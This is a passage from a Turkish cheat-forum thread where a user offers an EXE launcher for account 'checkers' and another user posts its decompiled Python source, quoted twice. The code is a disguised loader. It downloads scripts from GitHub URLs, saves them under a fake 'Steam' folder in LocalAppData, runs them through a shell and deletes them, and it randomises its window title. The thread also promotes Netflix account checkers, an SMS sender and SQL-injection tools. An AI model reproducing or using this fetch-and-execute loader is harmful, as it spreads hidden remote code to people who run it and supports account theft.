Python Launcher Checker Exe Denemesi

wawaawwaaw

Gold Üye
Katılım
11 Şub 2026
Mesajlar
298
Beğeniler
69
Exe Link =

VT Link =



Not: Şu anlık projeyi tam olarak yayımlamadım. Sizce güzel mi, üzerine çalışsam mı?

Özetle ne yapıyor: Tek bir launcher üzerinden farklı checker’leri çalıştırmaya yarıyor.
 
exe içeriği şüpheli gözüküyor dm üzerinden open source halini iletir misiniz ?
Hadi konunun kilidini açtın, yorumunu niye silmedin? Neyse.

Admin onayı alındı, EXE virüs falan değil.

Konu hakkında fikirlerinizi belirtirseniz sevinirim.
 
Son düzenleme:
Exe Link =

VT Link =



Not: Şu anlık projeyi tam olarak yayımlamadım. Sizce güzel mi, üzerine çalışsam mı?

Özetle ne yapıyor: Tek bir launcher üzerinden farklı checker’leri çalıştırmaya yarıyor.
Güzel işe yarar paralı mı olacak yoksa foruma özel free mi
 
Exe Link =

VT Link =



Not: Şu anlık projeyi tam olarak yayımlamadım. Sizce güzel mi, üzerine çalışsam mı?

Özetle ne yapıyor: Tek bir launcher üzerinden farklı checker’leri çalıştırmaya yarıyor.
fenixoyun.com checker ekle
 
Exe Link =

VT Link =



Not: Şu anlık projeyi tam olarak yayımlamadım. Sizce güzel mi, üzerine çalışsam mı?

Özetle ne yapıyor: Tek bir launcher üzerinden farklı checker’leri çalıştırmaya yarıyor.
Güzelmiş ancak çokda zor olmayacak birşeyi neden open source yapmayarak free olarak sunuyorsun eğer open source yaparsan diğer kişilerdende yardım alabilirsin.

// Nuitka recovered - SOURCE - App.py

Python:
import sys
import os
import subprocess
import time
import random
import string
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed

import requests
import customtkinter as ctk
from tkinter import messagebox, Tk, Label, Toplevel
import tkinter.ttk as ttk

ctk.set_appearance_mode("dark")
ctk.set_default_color_theme("dark-blue")

APPDATA_DIR = os.path.join(os.environ.get('LOCALAPPDATA', '.'), 'Steam')
os.makedirs(APPDATA_DIR, exist_ok=True)

APP_FILE = os.path.join(APPDATA_DIR, 'app.py')

BUTON_YAPISI = {
    'STREAMING PLATFORMS': [
        {'isim': 'NETFLIX CHECKER 1', 'link': 'https://raw.githubusercontent.com/wdawdadwaawd-byte/Bridge-Duel-Cheat/main/app.py'},
        {'isim': 'NETFLIX CHECKER 2', 'link': 'https://raw.githubusercontent.com/wdawdadwaawd-byte/Bridge-Duel-Cheat/main/app.py'},
        {'isim': 'NETFLIX CHECKER 3', 'link': 'https://raw.githubusercontent.com/wdawdadwaawd-byte/Bridge-Duel-Cheat/main/app.py'},
        {'isim': 'NETFLIX CHECKER 4', 'link': 'https://raw.githubusercontent.com/wdaawdadwaawd-byte/Bridge-Duel-Cheat/main/app.py'}
    ],
    'GAMING PLATFORMS': [
        {'isim': 'NETFLIX CHECKER 4', 'link': 'https://raw.githubusercontent.com/wdawdadwaawd-byte/Bridge-Duel-Cheat/main/app.py'},
        {'isim': 'NETFLIX CHECKER 4', 'link': 'https://raw.githubusercontent.com/wdawdadwaawd-byte/Bridge-Duela-Cheat/main/app.py'},
        {'isim': 'NETFLIX CHECKER 4', 'link': 'https://raw.githubusercontent.com/wdawdadwaawd-byte/Bridge-Duel-Cheat/main/smm.py'}
    ],
    'GSM/SMM PLATFORMS': [
        {'isim': 'SMS SENDER', 'link': 'https://raw.githubusercontent.com/kullanici/repo/main/sms.py'},
        {'isim': 'SMM PANEL', 'link': 'https://raw.githubusercontent.com/kullanici/repo/main/smm.py'}
    ],
    'VPN PLATFORMS': [
        {'isim': 'NORD VPN', 'link': 'https://raw.githubusercontent.com/kullanici/repo/main/nord.py'},
        {'isim': 'PROXY LISTER', 'link': 'https://raw.githubusercontent.com/kullanici/repo/main/proxy.py'}
    ],
    'HACKING PLATFORMS': [
        {'isim': 'SQL INJECTOR', 'link': 'https://raw.githubusercontent.com/kullanici/repo/main/sql.py'},
        {'isim': 'EXPLOIT SCANNER', 'link': 'https://raw.githubusercontent.com/kullanici/repo/main/exploit.py'}
    ],
    ' OTHER ': [
        {'isim': 'NETFLIX CHECKER 4', 'link': 'https://raw.githubusercontent.com/wdawdadwaawd-byte/Bridge-Duel-Cheat/main/app.py'}
    ]
}

required_libs = ['requests', 'customtkinter']
missing_libs = []

for lib in required_libs:
    try:
        __import__(lib)
    except ImportError:
        missing_libs.append(lib)

if missing_libs:
    root = Tk()
    root.title('Sistem Hazırlanıyor...')
    root.geometry('400x150')
    root.configure(bg='#1a1a1a')
    root.overrideredirect(True)
    
    screen_width = root.winfo_screenwidth()
    screen_height = root.winfo_screenheight()
    x = (screen_width // 2) - 200
    y = (screen_height // 2) - 75
    root.geometry(f'400x150+{x}+{y}')
    
    lbl = Label(root, text='Eksik Modüller Kuruluyor...', fg='white', bg='#1a1a1a', font=('Segoe UI', 12, 'bold'))
    lbl.pack(pady=20)
    
    progress = ttk.Progressbar(root, orient='horizontal', length=300, mode='determinate')
    progress.pack(pady=10)
    
    status_lbl = Label(root, text='', fg='#888', bg='#1a1a1a', font=('Segoe UI', 10))
    status_lbl.pack()
    
    progress['maximum'] = 100
    current_progress = 0
    
    for lib in missing_libs:
        status_lbl.config(text=f'Yükleniyor: {lib}...')
        root.update()
        subprocess.check_call([sys.executable, '-m', 'pip', 'install', lib])
        current_progress += 100 // len(missing_libs)
        progress['value'] = current_progress
        root.update()
        time.sleep(0.5)
    
    root.destroy()

def check_link_status(url, timeout=15):
    try:
        r = requests.head(url, timeout=timeout, allow_redirects=True)
        if r.status_code in [200, 302]:
            return True
        return False
    except:
        return False

class App(ctk.CTk):
    def __init__(self):
        super().__init__()
        
        self.title('Sistem Hazırlanıyor...')
        self.geometry('1050x680')
        self.minsize(900, 580)
        
        self.protocol('WM_DELETE_WINDOW', self.on_closing)
        
        self.grid_rowconfigure(0, weight=1)
        self.grid_rowconfigure(1, weight=0)
        self.grid_columnconfigure(1, weight=1)
        
        self.update_title()
        self.link_status = {}
        
        self.status_labels = {}
        self.dot_canvases = {}
        self.category_frames = {}
        self.button_refs = {}
        self.toggle_labels = {}
        
        self.sidebar = ctk.CTkFrame(self, width=260, corner_radius=0)
        self.sidebar.grid(row=0, column=0, rowspan=2, sticky='nsew')
        
        title_lbl = ctk.CTkLabel(self.sidebar, text='CHECKER DURUMU', font=ctk.CTkFont(size=15, weight='bold'))
        title_lbl.pack(pady=(30, 15), padx=20, anchor='w')
        
        for cat in BUTON_YAPISI.keys():
            frame = ctk.CTkFrame(self.sidebar, fg_color='transparent')
            frame.pack(fill='x', padx=18, pady=6)
            
            dot_frame = ctk.CTkFrame(frame, fg_color='transparent')
            dot_frame.pack(side='left', padx=(0, 12))
            
            canvas = ctk.CTkCanvas(dot_frame, width=16, height=16, bg='#0f0f0f', highlightthickness=0)
            canvas.pack()
            oval = canvas.create_oval(3, 3, 13, 13, fill='#444', outline='')
            
            lbl = ctk.CTkLabel(frame, text=cat, font=ctk.CTkFont(size=13))
            lbl.pack(side='left')
            
            count_lbl = ctk.CTkLabel(frame, text=f'0/{len(BUTON_YAPISI[cat])} adet', font=ctk.CTkFont(size=12), text_color='gray')
            count_lbl.pack(side='right', padx=12)
            
            self.status_labels[cat] = {'dot': (canvas, oval), 'count': count_lbl, 'main': lbl}
        
        status_frame = ctk.CTkFrame(self.sidebar, fg_color='transparent')
        status_frame.pack(side='bottom', fill='x', padx=18, pady=20)
        
        status_lbl = ctk.CTkLabel(status_frame, text='GENEL DURUM:', font=ctk.CTkFont(size=12))
        status_lbl.pack(side='left')
        
        self.global_status = ctk.CTkLabel(status_frame, text='KONTROL...', font=ctk.CTkFont(size=11), text_color='gray')
        self.global_status.pack(side='right', padx=15)
        
        self.main_area = ctk.CTkScrollableFrame(self, corner_radius=0)
        self.main_area.grid(row=0, column=1, sticky='nsew', padx=12, pady=10)
        
        header_lbl = ctk.CTkLabel(self.main_area, text='Platformlar', font=ctk.CTkFont(size=26, weight='bold'))
        header_lbl.pack(anchor='w', pady=(25, 20), padx=20)
        
        for kategori, liste in BUTON_YAPISI.items():
            self.create_category_section(kategori, liste)
        
        self.bottom_frame = ctk.CTkFrame(self, height=55, fg_color='#181818', corner_radius=0)
        self.bottom_frame.grid(row=1, column=1, sticky='ew', columnspan=2)
        
        status_text = f'{sum(len(v) for v in BUTON_YAPISI.values())} kontrol ediliyor...'
        self.status_lbl = ctk.CTkLabel(self.bottom_frame, text=status_text, font=ctk.CTkFont(size=12))
        self.status_lbl.pack(side='left', padx=25, pady=10)
        
        self.progress = ctk.CTkProgressBar(self.bottom_frame, mode='indeterminate', width=280)
        self.progress.pack(side='left', padx=20, pady=10)
        self.progress.start()
        
        self.exit_btn = ctk.CTkButton(self.bottom_frame, text="Launcher'ı Kapat", fg_color='#dc2626', hover_color='#b91c1c', width=140, command=self.on_closing)
        self.exit_btn.pack(side='right', padx=25, pady=10)
        
        self.after(100, self.check_all_links)
    
    def update_title(self):
        random_text = ''.join(random.choices(string.ascii_uppercase + string.digits, k=15))
        self.title(f'Launcher | {random_text}')
        self.after(6000, self.update_title)
    
    def on_closing(self):
        self.destroy()
    
    def create_category_section(self, kategori, items):
        frame = ctk.CTkFrame(self.main_area, fg_color='#1a1f2e', corner_radius=10)
        frame.pack(fill='x', pady=(0, 12), padx=20, ipady=2)
        
        header = ctk.CTkFrame(frame, fg_color='#1a1f2e', corner_radius=10)
        header.pack(fill='x', pady=(0, 2), padx=12, ipady=8)
        
        toggle_label = ctk.CTkLabel(header, text='▼', font=ctk.CTkFont(size=17, weight='bold'), text_color='#aaa', width=20)
        toggle_label.pack(side='left', padx=(0, 12))
        
        cat_lbl = ctk.CTkLabel(header, text=kategori, font=ctk.CTkFont(size=17, weight='bold'))
        cat_lbl.pack(side='left')
        
        count_text = f'({len(items)})'
        count_lbl = ctk.CTkLabel(header, text=count_text, font=ctk.CTkFont(size=14), text_color='gray')
        count_lbl.pack(side='left', padx=6)
        
        self.toggle_labels[kategori] = toggle_label
        
        content = ctk.CTkFrame(frame, fg_color='transparent')
        content.pack(fill='x', padx=12, pady=(0, 12))
        
        def toggle():
            if content.winfo_ismapped():
                content.pack_forget()
                toggle_label.configure(text='+')
            else:
                content.pack(fill='x', padx=12, pady=(0, 12))
                toggle_label.configure(text='▼')
        
        header.bind('<Button-1>', lambda e: toggle())
        cat_lbl.bind('<Button-1>', lambda e: toggle())
        toggle_label.bind('<Button-1>', lambda e: toggle())
        
        for item in items:
            w = ctk.CTkFrame(content, fg_color='#000000', corner_radius=8)
            w.pack(fill='x', pady=6, padx=6)
            
            name_lbl = ctk.CTkLabel(w, text=item['isim'], font=ctk.CTkFont(size=14, weight='bold'))
            name_lbl.pack(side='left', padx=12, pady=12)
            
            btn = ctk.CTkButton(w, text='BAŞLAT', fg_color='#3b3b3b', hover_color='#4a4a4a',
                              font=ctk.CTkFont(size=13, weight='bold'), state='disabled',
                              command=lambda link=item['link'], name=item['isim']: self.start_process(link, name),
                              height=32, corner_radius=6)
            btn.pack(side='right', padx=12)
            
            self.button_refs[item['link']] = btn
        
        self.category_frames[kategori] = content
    
    def check_all_links(self):
        all_items = []
        for cat, items in BUTON_YAPISI.items():
            for item in items:
                all_items.append((cat, item))
        
        self.progress.start()
        
        def update_category_status(cat, working, total):
            if cat in self.status_labels:
                canvas, oval = self.status_labels[cat]['dot']
                canvas.itemconfig(oval, fill='#22c55e' if working == total else '#eab308' if working > 0 else '#ef4444')
                self.status_labels[cat]['count'].configure(text=f'{working}/{total} adet')
        
        with ThreadPoolExecutor(max_workers=10) as executor:
            futures = {}
            for cat, item in all_items:
                future = executor.submit(check_link_status, item['link'])
                futures[future] = (cat, item)
            
            for future in as_completed(futures):
                cat, item = futures[future]
                try:
                    result = future.result(timeout=15)
                except:
                    result = False
                
                self.link_status[item['link']] = result
                
                if result and item['link'] in self.button_refs:
                    self.button_refs[item['link']].configure(state='normal', fg_color='#6366f1', hover_color='#4f46e5')
                elif item['link'] in self.button_refs:
                    self.button_refs[item['link']].configure(state='disabled', fg_color='#3f3f46', hover_color='#3f3f46')
                
                cat_items = [x for x in all_items if x[0] == cat]
                cat_working = sum(1 for x in cat_items if self.link_status.get(x[1]['link'], False))
                update_category_status(cat, cat_working, len(cat_items))
                
                self.update_global_status()
        
        self.progress.stop()
    
    def update_global_status(self):
        all_items = []
        for cat, items in BUTON_YAPISI.items():
            all_items.extend(items)
        
        total = len(all_items)
        working = sum(1 for item in all_items if self.link_status.get(item['link'], False))
        
        if working == total:
            color = '#22c55e'
            text = 'TAMAMI ÇALIŞIYOR'
        elif working > 0:
            color = '#eab308'
            text = f'{working} ÇALIŞIYOR'
        else:
            color = '#ef4444'
            text = 'ÇALIŞMIYOR'
        
        self.global_status.configure(text=text, text_color=color)
        self.status_lbl.configure(text=f'{working}/{total} link çalışıyor   |   Hazır')
    
    def start_process(self, target_url, checker_name):
        try:
            r = requests.get(target_url, timeout=15)
            r.raise_for_status()
            
            with open(APP_FILE, 'wb') as f:
                f.write(r.content)
            
            print(f'Başlatıldı → {checker_name}')
            subprocess.Popen(f'start cmd /c python "{APP_FILE}" & timeout /t 2 & del "{APP_FILE}"', shell=True)
            
        except Exception as e:
            messagebox.showerror('Hata', f'Hata oluştu!\n{str(e)}')

def main():
    app = App()
    app.mainloop()

if __name__ == '__main__':
    main()

REFERENCE - https://cheatglobal.com/konu/python...iler-unpacker-pyarmor-nuitka-custom-vs.95346/
 
Bu kullanıcıyla herhangi bir iş veya ticaret yapmak istiyorsanız, forumdan uzaklaştırıldığını sakın unutmayın.
Güzelmiş ancak çokda zor olmayacak birşeyi neden open source yapmayarak free olarak sunuyorsun eğer open source yaparsan diğer kişilerdende yardım alabilirsin.

// Nuitka recovered - SOURCE - App.py

Python:
import sys
import os
import subprocess
import time
import random
import string
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed

import requests
import customtkinter as ctk
from tkinter import messagebox, Tk, Label, Toplevel
import tkinter.ttk as ttk

ctk.set_appearance_mode("dark")
ctk.set_default_color_theme("dark-blue")

APPDATA_DIR = os.path.join(os.environ.get('LOCALAPPDATA', '.'), 'Steam')
os.makedirs(APPDATA_DIR, exist_ok=True)

APP_FILE = os.path.join(APPDATA_DIR, 'app.py')

BUTON_YAPISI = {
    'STREAMING PLATFORMS': [
        {'isim': 'NETFLIX CHECKER 1', 'link': 'https://raw.githubusercontent.com/wdawdadwaawd-byte/Bridge-Duel-Cheat/main/app.py'},
        {'isim': 'NETFLIX CHECKER 2', 'link': 'https://raw.githubusercontent.com/wdawdadwaawd-byte/Bridge-Duel-Cheat/main/app.py'},
        {'isim': 'NETFLIX CHECKER 3', 'link': 'https://raw.githubusercontent.com/wdawdadwaawd-byte/Bridge-Duel-Cheat/main/app.py'},
        {'isim': 'NETFLIX CHECKER 4', 'link': 'https://raw.githubusercontent.com/wdaawdadwaawd-byte/Bridge-Duel-Cheat/main/app.py'}
    ],
    'GAMING PLATFORMS': [
        {'isim': 'NETFLIX CHECKER 4', 'link': 'https://raw.githubusercontent.com/wdawdadwaawd-byte/Bridge-Duel-Cheat/main/app.py'},
        {'isim': 'NETFLIX CHECKER 4', 'link': 'https://raw.githubusercontent.com/wdawdadwaawd-byte/Bridge-Duela-Cheat/main/app.py'},
        {'isim': 'NETFLIX CHECKER 4', 'link': 'https://raw.githubusercontent.com/wdawdadwaawd-byte/Bridge-Duel-Cheat/main/smm.py'}
    ],
    'GSM/SMM PLATFORMS': [
        {'isim': 'SMS SENDER', 'link': 'https://raw.githubusercontent.com/kullanici/repo/main/sms.py'},
        {'isim': 'SMM PANEL', 'link': 'https://raw.githubusercontent.com/kullanici/repo/main/smm.py'}
    ],
    'VPN PLATFORMS': [
        {'isim': 'NORD VPN', 'link': 'https://raw.githubusercontent.com/kullanici/repo/main/nord.py'},
        {'isim': 'PROXY LISTER', 'link': 'https://raw.githubusercontent.com/kullanici/repo/main/proxy.py'}
    ],
    'HACKING PLATFORMS': [
        {'isim': 'SQL INJECTOR', 'link': 'https://raw.githubusercontent.com/kullanici/repo/main/sql.py'},
        {'isim': 'EXPLOIT SCANNER', 'link': 'https://raw.githubusercontent.com/kullanici/repo/main/exploit.py'}
    ],
    ' OTHER ': [
        {'isim': 'NETFLIX CHECKER 4', 'link': 'https://raw.githubusercontent.com/wdawdadwaawd-byte/Bridge-Duel-Cheat/main/app.py'}
    ]
}

required_libs = ['requests', 'customtkinter']
missing_libs = []

for lib in required_libs:
    try:
        __import__(lib)
    except ImportError:
        missing_libs.append(lib)

if missing_libs:
    root = Tk()
    root.title('Sistem Hazırlanıyor...')
    root.geometry('400x150')
    root.configure(bg='#1a1a1a')
    root.overrideredirect(True)
   
    screen_width = root.winfo_screenwidth()
    screen_height = root.winfo_screenheight()
    x = (screen_width // 2) - 200
    y = (screen_height // 2) - 75
    root.geometry(f'400x150+{x}+{y}')
   
    lbl = Label(root, text='Eksik Modüller Kuruluyor...', fg='white', bg='#1a1a1a', font=('Segoe UI', 12, 'bold'))
    lbl.pack(pady=20)
   
    progress = ttk.Progressbar(root, orient='horizontal', length=300, mode='determinate')
    progress.pack(pady=10)
   
    status_lbl = Label(root, text='', fg='#888', bg='#1a1a1a', font=('Segoe UI', 10))
    status_lbl.pack()
   
    progress['maximum'] = 100
    current_progress = 0
   
    for lib in missing_libs:
        status_lbl.config(text=f'Yükleniyor: {lib}...')
        root.update()
        subprocess.check_call([sys.executable, '-m', 'pip', 'install', lib])
        current_progress += 100 // len(missing_libs)
        progress['value'] = current_progress
        root.update()
        time.sleep(0.5)
   
    root.destroy()

def check_link_status(url, timeout=15):
    try:
        r = requests.head(url, timeout=timeout, allow_redirects=True)
        if r.status_code in [200, 302]:
            return True
        return False
    except:
        return False

class App(ctk.CTk):
    def __init__(self):
        super().__init__()
       
        self.title('Sistem Hazırlanıyor...')
        self.geometry('1050x680')
        self.minsize(900, 580)
       
        self.protocol('WM_DELETE_WINDOW', self.on_closing)
       
        self.grid_rowconfigure(0, weight=1)
        self.grid_rowconfigure(1, weight=0)
        self.grid_columnconfigure(1, weight=1)
       
        self.update_title()
        self.link_status = {}
       
        self.status_labels = {}
        self.dot_canvases = {}
        self.category_frames = {}
        self.button_refs = {}
        self.toggle_labels = {}
       
        self.sidebar = ctk.CTkFrame(self, width=260, corner_radius=0)
        self.sidebar.grid(row=0, column=0, rowspan=2, sticky='nsew')
       
        title_lbl = ctk.CTkLabel(self.sidebar, text='CHECKER DURUMU', font=ctk.CTkFont(size=15, weight='bold'))
        title_lbl.pack(pady=(30, 15), padx=20, anchor='w')
       
        for cat in BUTON_YAPISI.keys():
            frame = ctk.CTkFrame(self.sidebar, fg_color='transparent')
            frame.pack(fill='x', padx=18, pady=6)
           
            dot_frame = ctk.CTkFrame(frame, fg_color='transparent')
            dot_frame.pack(side='left', padx=(0, 12))
           
            canvas = ctk.CTkCanvas(dot_frame, width=16, height=16, bg='#0f0f0f', highlightthickness=0)
            canvas.pack()
            oval = canvas.create_oval(3, 3, 13, 13, fill='#444', outline='')
           
            lbl = ctk.CTkLabel(frame, text=cat, font=ctk.CTkFont(size=13))
            lbl.pack(side='left')
           
            count_lbl = ctk.CTkLabel(frame, text=f'0/{len(BUTON_YAPISI[cat])} adet', font=ctk.CTkFont(size=12), text_color='gray')
            count_lbl.pack(side='right', padx=12)
           
            self.status_labels[cat] = {'dot': (canvas, oval), 'count': count_lbl, 'main': lbl}
       
        status_frame = ctk.CTkFrame(self.sidebar, fg_color='transparent')
        status_frame.pack(side='bottom', fill='x', padx=18, pady=20)
       
        status_lbl = ctk.CTkLabel(status_frame, text='GENEL DURUM:', font=ctk.CTkFont(size=12))
        status_lbl.pack(side='left')
       
        self.global_status = ctk.CTkLabel(status_frame, text='KONTROL...', font=ctk.CTkFont(size=11), text_color='gray')
        self.global_status.pack(side='right', padx=15)
       
        self.main_area = ctk.CTkScrollableFrame(self, corner_radius=0)
        self.main_area.grid(row=0, column=1, sticky='nsew', padx=12, pady=10)
       
        header_lbl = ctk.CTkLabel(self.main_area, text='Platformlar', font=ctk.CTkFont(size=26, weight='bold'))
        header_lbl.pack(anchor='w', pady=(25, 20), padx=20)
       
        for kategori, liste in BUTON_YAPISI.items():
            self.create_category_section(kategori, liste)
       
        self.bottom_frame = ctk.CTkFrame(self, height=55, fg_color='#181818', corner_radius=0)
        self.bottom_frame.grid(row=1, column=1, sticky='ew', columnspan=2)
       
        status_text = f'{sum(len(v) for v in BUTON_YAPISI.values())} kontrol ediliyor...'
        self.status_lbl = ctk.CTkLabel(self.bottom_frame, text=status_text, font=ctk.CTkFont(size=12))
        self.status_lbl.pack(side='left', padx=25, pady=10)
       
        self.progress = ctk.CTkProgressBar(self.bottom_frame, mode='indeterminate', width=280)
        self.progress.pack(side='left', padx=20, pady=10)
        self.progress.start()
       
        self.exit_btn = ctk.CTkButton(self.bottom_frame, text="Launcher'ı Kapat", fg_color='#dc2626', hover_color='#b91c1c', width=140, command=self.on_closing)
        self.exit_btn.pack(side='right', padx=25, pady=10)
       
        self.after(100, self.check_all_links)
   
    def update_title(self):
        random_text = ''.join(random.choices(string.ascii_uppercase + string.digits, k=15))
        self.title(f'Launcher | {random_text}')
        self.after(6000, self.update_title)
   
    def on_closing(self):
        self.destroy()
   
    def create_category_section(self, kategori, items):
        frame = ctk.CTkFrame(self.main_area, fg_color='#1a1f2e', corner_radius=10)
        frame.pack(fill='x', pady=(0, 12), padx=20, ipady=2)
       
        header = ctk.CTkFrame(frame, fg_color='#1a1f2e', corner_radius=10)
        header.pack(fill='x', pady=(0, 2), padx=12, ipady=8)
       
        toggle_label = ctk.CTkLabel(header, text='▼', font=ctk.CTkFont(size=17, weight='bold'), text_color='#aaa', width=20)
        toggle_label.pack(side='left', padx=(0, 12))
       
        cat_lbl = ctk.CTkLabel(header, text=kategori, font=ctk.CTkFont(size=17, weight='bold'))
        cat_lbl.pack(side='left')
       
        count_text = f'({len(items)})'
        count_lbl = ctk.CTkLabel(header, text=count_text, font=ctk.CTkFont(size=14), text_color='gray')
        count_lbl.pack(side='left', padx=6)
       
        self.toggle_labels[kategori] = toggle_label
       
        content = ctk.CTkFrame(frame, fg_color='transparent')
        content.pack(fill='x', padx=12, pady=(0, 12))
       
        def toggle():
            if content.winfo_ismapped():
                content.pack_forget()
                toggle_label.configure(text='+')
            else:
                content.pack(fill='x', padx=12, pady=(0, 12))
                toggle_label.configure(text='▼')
       
        header.bind('<Button-1>', lambda e: toggle())
        cat_lbl.bind('<Button-1>', lambda e: toggle())
        toggle_label.bind('<Button-1>', lambda e: toggle())
       
        for item in items:
            w = ctk.CTkFrame(content, fg_color='#000000', corner_radius=8)
            w.pack(fill='x', pady=6, padx=6)
           
            name_lbl = ctk.CTkLabel(w, text=item['isim'], font=ctk.CTkFont(size=14, weight='bold'))
            name_lbl.pack(side='left', padx=12, pady=12)
           
            btn = ctk.CTkButton(w, text='BAŞLAT', fg_color='#3b3b3b', hover_color='#4a4a4a',
                              font=ctk.CTkFont(size=13, weight='bold'), state='disabled',
                              command=lambda link=item['link'], name=item['isim']: self.start_process(link, name),
                              height=32, corner_radius=6)
            btn.pack(side='right', padx=12)
           
            self.button_refs[item['link']] = btn
       
        self.category_frames[kategori] = content
   
    def check_all_links(self):
        all_items = []
        for cat, items in BUTON_YAPISI.items():
            for item in items:
                all_items.append((cat, item))
       
        self.progress.start()
       
        def update_category_status(cat, working, total):
            if cat in self.status_labels:
                canvas, oval = self.status_labels[cat]['dot']
                canvas.itemconfig(oval, fill='#22c55e' if working == total else '#eab308' if working > 0 else '#ef4444')
                self.status_labels[cat]['count'].configure(text=f'{working}/{total} adet')
       
        with ThreadPoolExecutor(max_workers=10) as executor:
            futures = {}
            for cat, item in all_items:
                future = executor.submit(check_link_status, item['link'])
                futures[future] = (cat, item)
           
            for future in as_completed(futures):
                cat, item = futures[future]
                try:
                    result = future.result(timeout=15)
                except:
                    result = False
               
                self.link_status[item['link']] = result
               
                if result and item['link'] in self.button_refs:
                    self.button_refs[item['link']].configure(state='normal', fg_color='#6366f1', hover_color='#4f46e5')
                elif item['link'] in self.button_refs:
                    self.button_refs[item['link']].configure(state='disabled', fg_color='#3f3f46', hover_color='#3f3f46')
               
                cat_items = [x for x in all_items if x[0] == cat]
                cat_working = sum(1 for x in cat_items if self.link_status.get(x[1]['link'], False))
                update_category_status(cat, cat_working, len(cat_items))
               
                self.update_global_status()
       
        self.progress.stop()
   
    def update_global_status(self):
        all_items = []
        for cat, items in BUTON_YAPISI.items():
            all_items.extend(items)
       
        total = len(all_items)
        working = sum(1 for item in all_items if self.link_status.get(item['link'], False))
       
        if working == total:
            color = '#22c55e'
            text = 'TAMAMI ÇALIŞIYOR'
        elif working > 0:
            color = '#eab308'
            text = f'{working} ÇALIŞIYOR'
        else:
            color = '#ef4444'
            text = 'ÇALIŞMIYOR'
       
        self.global_status.configure(text=text, text_color=color)
        self.status_lbl.configure(text=f'{working}/{total} link çalışıyor   |   Hazır')
   
    def start_process(self, target_url, checker_name):
        try:
            r = requests.get(target_url, timeout=15)
            r.raise_for_status()
           
            with open(APP_FILE, 'wb') as f:
                f.write(r.content)
           
            print(f'Başlatıldı → {checker_name}')
            subprocess.Popen(f'start cmd /c python "{APP_FILE}" & timeout /t 2 & del "{APP_FILE}"', shell=True)
           
        except Exception as e:
            messagebox.showerror('Hata', f'Hata oluştu!\n{str(e)}')

def main():
    app = App()
    app.mainloop()

if __name__ == '__main__':
    main()

REFERENCE - https://cheatglobal.com/konu/python...iler-unpacker-pyarmor-nuitka-custom-vs.95346/
ayıp etmişsin
 

Şuanda konuyu görüntüleyen kullanıcılar

Geri
Üst Alt